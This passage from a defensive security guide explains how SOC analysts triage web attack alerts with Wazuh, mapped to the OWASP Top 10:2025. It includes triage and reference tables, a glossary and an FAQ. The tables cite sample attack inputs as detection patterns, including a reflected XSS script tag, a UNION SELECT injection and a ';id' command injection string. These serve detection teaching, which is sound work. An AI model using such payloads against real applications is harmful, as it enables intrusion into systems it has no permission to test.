| Lessons | Add app log rule for resolved_path outside allowed folder; review all download features; enable database audit logging on client tables |
| Closure | Closed after verification and incident lead approval; follow up actions tracked |
How the analyst moved from alert to a defensible conclusion: The alert only said “an attack pattern returned 200”. Each conclusion was backed by a separate piece of evidence: the attempt by the 404 sequence, the success by response size and the application log, the impact by the database login. Each “not observed” claim (no code execution) was based on specific checks, not on assumptions.
Triage Guide for Common Web Security Alerts
The table below summarizes how a SOC analyst can approach alerts and reports that come up often in web application monitoring. Each row lists what the signal may mean and what to check before escalating.
| Situation | What it may indicate | What the analyst checks first |
|---|---|---|
Rule 31106 for GET /search?q=<script>alert(1)</script> with status 200 | Reflected XSS attempt; a 200 on a search page is normal even when input is safely encoded | Whether the page reflects input without encoding, repeated payloads from the same IP (rule 31154), and whether any payload was stored and viewed by other users |
| Rule 31151: many 4xx errors from one IP | Scanning or reconnaissance | Paths requested, user agent, and any 200 on sensitive paths or attack patterns |
| A customer reports an email change they did not make | Account takeover (A07) | Recent logins, IPs and devices for the account, failures before success, other accounts targeted by the same IP, session reuse |
| The database team sees a full table read by the web application account at night | SQL injection (A05), stolen database credentials, or a legitimate batch job | Web requests at the same time, scheduled jobs, and logins by the same database account from unexpected hosts |
FIM reports a new .php file in an uploads folder | Web shell upload (A06 design flaw, A08 integrity) | The upload request, any requests to the new file, processes spawned by the web server user, and the file hash |
| Vulnerability Detection reports a critical CVE on many servers | Exposure to a known vulnerability (A03), not yet an attack | Internet exposure, known exploitation in the wild, exploit attempts in logs, and patch priority |
| Logs from a web server stop for two hours, then resume | Maintenance, a misconfiguration, or an attacker stopping the agent (A09) | Agent status events (504, 506), change records, and WAF or firewall traffic during the gap |
| 200 different users log in successfully from one IP | A corporate gateway or proxy, or a successful credential stuffing wave | Who owns the IP, the real client IPs behind it, post login actions, and confirmation from a sample of users |
| The WAF blocked thousands of requests, but Wazuh shows nothing | Blocked requests never reached the web server, and WAF logs are not collected | WAF logs for payload types and any allowed requests, then add WAF log collection to Wazuh |
An authorization error is logged with an allow decision during an outage | Fail open behavior (A10) | Which users accessed which resources during the window; the flaw is reported even without malicious activity |
| Card numbers appear in an application debug log | Sensitive data in logs (A09, CWE-532) | Where the logs are stored, who can read them, and whether they were copied elsewhere, including the SIEM |
The IIS worker process w3wp.exe starts PowerShell with an encoded command | Command injection, a web shell or deserialization exploitation | The decoded command, the IIS request at the same second, new web root files, outbound connections; escalate as Critical |
OWASP Top 10:2025 Quick Reference Table
This table summarizes every category with its main weakness, a typical attack, the strongest indicators, and the Wazuh detection approach.
| Category | Main weakness | Example attack | Key detection indicators | Primary log source | Wazuh detection approach | Main business impact |
|---|---|---|---|---|---|---|
| A01 Broken Access Control | Server does not enforce permissions | IDOR: change invoice ID; forced browsing; SSRF | Sequential IDs, 200 on admin paths, cross tenant reads | Access logs plus app logs with owner | Custom frequency and URL rules; 31151 for probing | Data exposure, unauthorized actions |
| A02 Security Misconfiguration | Insecure settings | Exposed .env, default admin password | 200 on sensitive files, SCA failures, config changes | Access logs, SCA, FIM | SCA (19007, 19011), FIM (550), 31516, custom path rules | Secret leaks, server takeover |
| A03 Software Supply Chain Failures | Vulnerable or compromised components and pipelines | Log4Shell; malicious npm package | CVE in inventory, exploit strings, build agent spawning shells | Vulnerability Detection, Sysmon or auditd, CI logs | Rules 23503 to 23506, custom process and CI rules | Code execution, poisoned releases |
| A04 Cryptographic Failures | Weak or missing cryptography | Predictable reset tokens; MD5 hashes; HTTP login | Sensitive data in URLs, weak TLS, key file reads | Access logs, SCA, auditd | SCA TLS checks, custom URL, TLS and key access rules | Data and credential exposure |
| A05 Injection | Input executed by an interpreter | SQL UNION SELECT; ;id command injection; XSS | SQL keywords, 500 bursts, DB errors, large 200s, web server shells | Access logs, app errors, DB audit | Built in 31103, 31104, 31105, 31106, 31152; custom process rules | Database theft, server compromise |
| A06 Insecure Design | Missing control at design stage | 600 seat booking; security question recovery | Abnormal quantities, shared coupons, recovery sprays | App business logs | Custom JSON rules with same_field and different_field | Financial loss, fraud, takeover |
| A07 Authentication Failures | Weak login, session or recovery | Credential stuffing; password spraying | Failures across many accounts, success after failures | App auth logs, Windows 4624/4625, Linux auth | 60122, 60204, 5763, 40112; custom spray rules | Account takeover |
| A08 Software or Data Integrity Failures | Trusting code or data without verification | Skimming script added to checkout.js; insecure deserialization | New or changed web files, unsigned deploys, rO0AB markers | FIM, deployment logs | FIM 550, 553, 554; custom web root and deploy rules | Card theft, code execution |
| A09 Security Logging and Alerting Failures | Events not logged, protected or alerted | Logs truncated; failed logins never logged | Log size reduced, event log cleared, silent sources | Wazuh internal events, Windows logs, auditd | 592, 60117, 593, 504, 506, 60112; source monitoring | Undetected breaches, no evidence |
| A10 Mishandling of Exceptional Conditions | Unsafe error handling | Fail open on timeout; transfer without rollback | 500 and 503 bursts, stack traces, allow with error | Access and error logs, app logs | 31122, 31162, 31163, 30104; custom fail open rules | Bypass, fraud, outage |
Glossary of Key Terms
| Term | Simple definition |
|---|---|
| Authentication | Proving who you are, for example with a password and MFA |
| Authorization | Deciding what an authenticated user may do |
| IDOR | Accessing an object by its ID without an ownership check |
| Injection | User input executed as part of a command or query |
| Parameterized query | A query where data is sent separately from the SQL structure |
| XSS | Script injected into a page and run in another user’s browser |
| SSRF | Tricking a server into making requests to places the attacker cannot reach |
| Credential stuffing | Using leaked username and password pairs on another site |
| Session token | A value that keeps a user logged in after authentication |
| CVE | Public identifier for a known vulnerability |
| CWE | Category identifier for a type of software weakness |
| SBOM | List of all software components and versions in an application |
| WAF | Web Application Firewall that inspects and filters HTTP traffic |
| Decoder (Wazuh) | Component that extracts fields from raw logs |
| Rule (Wazuh) | Logic that matches decoded events and creates alerts with a level |
| FIM | File Integrity Monitoring, detecting added, changed or deleted files |
| SCA (Wazuh) | Security Configuration Assessment, checking settings against policies |
| False positive | An alert that looks malicious but is legitimate activity |
| Fail closed | Denying access when a security check cannot complete |
| Indicator of compromise (IOC) | Evidence such as an IP, hash or domain linked to malicious activity |
Frequently Asked Questions
What is the OWASP Top 10 2025?
It is the 2025 edition of OWASP’s awareness list of the ten most critical web application security risk categories. It was the eighth edition of the list. Each category groups many related CWE weaknesses. The categories are Broken Access Control, Security Misconfiguration, Software Supply Chain Failures, Cryptographic Failures, Injection, Insecure Design, Authentication Failures, Software or Data Integrity Failures, Security Logging and Alerting Failures, and Mishandling of Exceptional Conditions.
What changed in the OWASP Top 10 2025 compared with 2021?
Two categories are new: A03 Software Supply Chain Failures, which expands the old “Vulnerable and Outdated Components” category, and A10 Mishandling of Exceptional Conditions. Server Side Request Forgery was merged into A01 Broken Access Control. Security Misconfiguration moved up from fifth to second. Two categories were renamed: Authentication Failures, and Security Logging and Alerting Failures.
Can Wazuh detect all OWASP Top 10 attacks automatically?
No. Built in Wazuh rules detect common patterns in web access logs, such as SQL injection (31103), XSS (31105), path traversal and command patterns (31104), and repeated errors from one IP. Wazuh also provides FIM, SCA and Vulnerability Detection. Categories such as Broken Access Control, Insecure Design and most Authentication Failures in custom applications need application logs and custom rules. Some attacks, such as offline password cracking, leave no logs that Wazuh can see.
What does Wazuh rule 31106 mean?
Rule 31106, “A web attack returned code 200 (success).”, fires when one of the web attack rules 31103, 31104 or 31105 matches and the HTTP status code is 200. It does not prove the attack succeeded, because many applications return 200 for error pages or empty results. Analysts confirm success with response sizes, application logs, database audit logs or process telemetry.
Which logs are needed to detect web application attacks?
At minimum, web server access logs. For reliable detection and investigation, organizations also need application logs in JSON (with user, object, action and result), web server error logs, WAF logs that capture request bodies, authentication logs, database audit logs for sensitive tables, and process telemetry (Sysmon or auditd) on web servers.
How do you confirm that a web attack was successful?
Confirmation needs evidence beyond the alert. Useful evidence includes response sizes that match real data instead of error pages, application logs showing the action completed, database audit records of unusual queries, new processes started by the web server user, outbound connections, and later use of stolen data or credentials. Without such evidence, the event remains an attempt or suspicious activity.
What is the difference between Broken Access Control and Authentication Failures?
Authentication Failures (A07) concern who the user is: the attacker is accepted as someone else, for example through credential stuffing. Broken Access Control (A01) concerns what the user may do: a correctly authenticated user reaches data or functions that are not theirs, for example by changing an object ID.
Where are custom Wazuh rules stored and how are they tested?
Custom rules go in /var/ossec/etc/rules/local_rules.xml or in a new file in /var/ossec/etc/rules/ on the Wazuh manager, using IDs between 100000 and 120000. Test them with /var/ossec/bin/wazuh-logtest, which reads saved rules without a restart. Restart the Wazuh manager to apply them to live alerts.
Is a vulnerability scanner finding the same as a security incident?
No. A finding shows that a vulnerability exists. An attack attempt shows that someone tried to use it. Exploitation means the attempt worked. An incident is an event with real or threatened harm that requires a formal response. A Wazuh vulnerability alert is evidence of exposure, not of compromise.
Conclusion
The OWASP Top 10 2025 gives SOC teams a practical map of how web applications fail. Some categories, such as Injection, leave clear signatures in web access logs, and built in Wazuh rules detect them well. Others, such as Broken Access Control, Insecure Design and Mishandling of Exceptional Conditions, look like normal traffic. Detecting them depends on application logs with business context and on custom Wazuh rules.
Three habits make web attack investigations defensible. First, treat an alert as evidence that a log matched a pattern, not as proof of compromise. Second, classify each incident by root cause and name related categories where they apply. Third, separate responsibilities: the SOC detects, investigates and recommends containment; developers and administrators fix code and configuration; and the SOC verifies the fix before closing the incident.
Organizations that improve their logging, test their detections regularly and keep their Wazuh rules aligned with their applications will see most OWASP Top 10 attacks earlier and investigate them with confidence.
References and Further Reading
OWASP Top 10:2025 (official)
- OWASP Top 10:2025 home
- Introduction and changes in 2025
- A01:2025 Broken Access Control
- A02:2025 Security Misconfiguration
- A03:2025 Software Supply Chain Failures
- A04:2025 Cryptographic Failures
- A05:2025 Injection
- A06:2025 Insecure Design
- A07:2025 Authentication Failures
- A08:2025 Software or Data Integrity Failures
- A09:2025 Security Logging and Alerting Failures
- A10:2025 Mishandling of Exceptional Conditions
- OWASP Top 10 source repository (GitHub)
- OWASP Cheat Sheet Series
Wazuh (official documentation and ruleset, version 4.14)
- Rules syntax
- Custom rules
- Rules classification (levels)
- Testing decoders and rules (
wazuh-logtest) - Localfile configuration reference
- File integrity monitoring: basic settings
- File integrity monitoring: creating custom FIM rules
- Security Configuration Assessment: available policies
- Vulnerability detection: how it works
- Active response: how to configure
- Proof of concept: detecting an SQL injection attack
- Wazuh ruleset source, tag v4.14.10 (rules and decoders)
- Built in web rules:
0245-web_rules.xml - Built in web application rules:
0270-web_appsec_rules.xml - Web access log decoders:
0375-web-accesslog_decoders.xml - OpenSearch Dashboards Query Language (DQL)
MITRE CWE and ATT&CK
CWE-22Path TraversalCWE-79Cross Site ScriptingCWE-89SQL InjectionCWE-287Improper AuthenticationCWE-338Cryptographically Weak PRNGCWE-502Deserialization of Untrusted DataCWE-636Not Failing SecurelyCWE-639Authorization Bypass Through User Controlled KeyCWE-778Insufficient LoggingCWE-918Server Side Request Forgery- MITRE ATT&CK T1190 Exploit Public Facing Application
- MITRE ATT&CK T1110 Brute Force
- MITRE ATT&CK T1078 Valid Accounts
- MITRE ATT&CK T1195 Supply Chain Compromise
- MITRE ATT&CK T1505.003 Web Shell
- MITRE ATT&CK T1070 Indicator Removal
- MITRE ATT&CK T1562 Impair Defenses
Other cited sources

Subscribe To Our Newsletter
Join our mailing list to receive the latest news and updates from our team.
You have Successfully Subscribed!